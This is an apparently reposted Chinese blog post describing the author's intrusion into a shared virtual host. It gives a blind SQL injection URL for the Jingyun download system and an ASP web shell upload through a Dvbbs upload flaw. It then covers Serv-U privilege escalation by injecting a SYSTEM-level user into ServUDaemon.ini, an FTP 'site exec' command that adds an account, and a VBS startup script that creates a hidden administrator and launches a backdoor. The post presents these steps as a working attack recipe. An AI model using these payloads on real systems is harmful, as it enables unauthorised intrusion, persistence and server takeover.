首页 电脑 电脑学堂 查看内容

对一虚拟主机的渗透

2009-2-8 06:21 681 0

摘要: org前几天听一树说了惊云下载系统的漏洞问题文件出在admin/user.asp提交http://www.xxx.com/down/admin/user.asp?use...
关键词: user 目录 教本 Password 用户 tsinternetuser wshshell exe 然后 管理员

org前几天听一树说了惊云下载系统的漏洞问题文件出在admin/user.asp提交http://www.xxx.com/down/admin/user.asp?user=admin' and asc(mid(pwd,1,1))>37 and '1'='1就相当于:select * from UserInfo where user='admin' and asc(mid(pwd,1,1))>37 and '1'='1'"详情请见http://play8.w1.dnscq.net/forum/index.php?showtopic=352利用access注入得到管理员密码上面有一个文件upfile.htm手工利用了下动网的upfile.asp漏洞就成功上传了个asp木马然后那个虚拟主机的c,d盘是NTFS分区不能访问E盘装着servu,php,webmail,F盘是虚拟站点servu安装目录可写~本来打算替换他servu文件的~但是觉的太麻烦还容易让管理员怀疑想起servu的本地提升来了 在自己计算机上装了个servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限然后去servu安装目录里看ServUDaemon.ini格式是这样的[GLOBAL]Version=5.0.0.11LocalSetupPassword=072C63105200180D5C07170A7E3ELocalSetupPortNo=60628ProcessID=972[DOMAINS]Domain1=192.168.0.102||21|向导产生域|1|0|0Domain2=192.168.0.102||2121|123|2|0|0[Domain1]User1=www|1|0[USER=www|1]Password=ih0C292E1AC82920B7F384007F302A1296HomeDir=D:\xiaobenTimeOut=600Note1="Wizard generated account"Access1=D:\xiaoben|RLPWAMCDSKEYValues=[Domain2]User1=rover|1|0User2=123|1|0[USER=rover|2]Password=dx5D12C060F16C7166779414FA038E881DHomeDir=c:\TimeOut=600Maintenance=SystemAccess1=C:\|RWAMELCDPSKEYValues=[USER=123|2]Password=kv3F6EED70340AD1478ADF95963A07FD00HomeDir=c:\TimeOut=600Access1=C:\|RWAMLCDPSKEYValues=----------------其中rover用户就是我添加的那个在虚拟主机的网页木马上打开虚拟机的ServUDaemon.ini访照我本地的INI写进一个用户进去User1=rover|1|0[USER=rover|2]Password=dx5D12C060F16C7166779414FA038E881DHomeDir=c:\TimeOut=600Maintenance=SystemAccess1=C:\|RWAMELCDPSKEYValues=保存~ 用我新建的用户和密码连接~好的,还是连上了ftpftp>open ip Connected to ip.220 Serv-U FTP Server v5.0.0.4 for WinSock ready...User (ip:(none)): id //输入构造的用户331 User name okay, please send complete E-mail address as password.Password:password //密码230 User logged in, proceed.ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。250 Directory changed to /WINNTftp>cd system32 //进入system32目录250 Directory changed to /WINNT/system32ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe文件加用户。提示没有权限~郁闷~但是我们有对C盘的访问权限了是不~hoho~把后门(server.exe)传他system32目录然后写一个VBs教本set wshshell=createobject ("wscript.shell") a=wshshell.run ("cmd.exe /c net user tsinternetuser rover1234 /add",0) b=wshshell.run ("cmd.exe /c net localgroup Administrators tsinternetuser /add",0)b=wshshell.run ("cmd.exe /c net user tsinternetuser /active:yes",0)b=wshshell.run ("cmd.exe /c server.exe",0) 存为HELP.vbe这个教本的作用是修改tsinternetuser用户密码为rover1234并且提升为管理员然后执行system32目录下的server.exe把这个教本传他C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录这样管理员只要一登陆就会执行那个教本~接下来就是等了~等他登陆~等了一段时间(看了一部蜘蛛侠的时间吧)~连接后门~得到admin权限的shellhoho~接下来是善后工作了~就不说了今天心情非常糟~有一些事情压的我喘不过气来考试的时候当老师面把卷子撕了,然后扬步走了~妈妈的~过程写的很乱~见谅
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部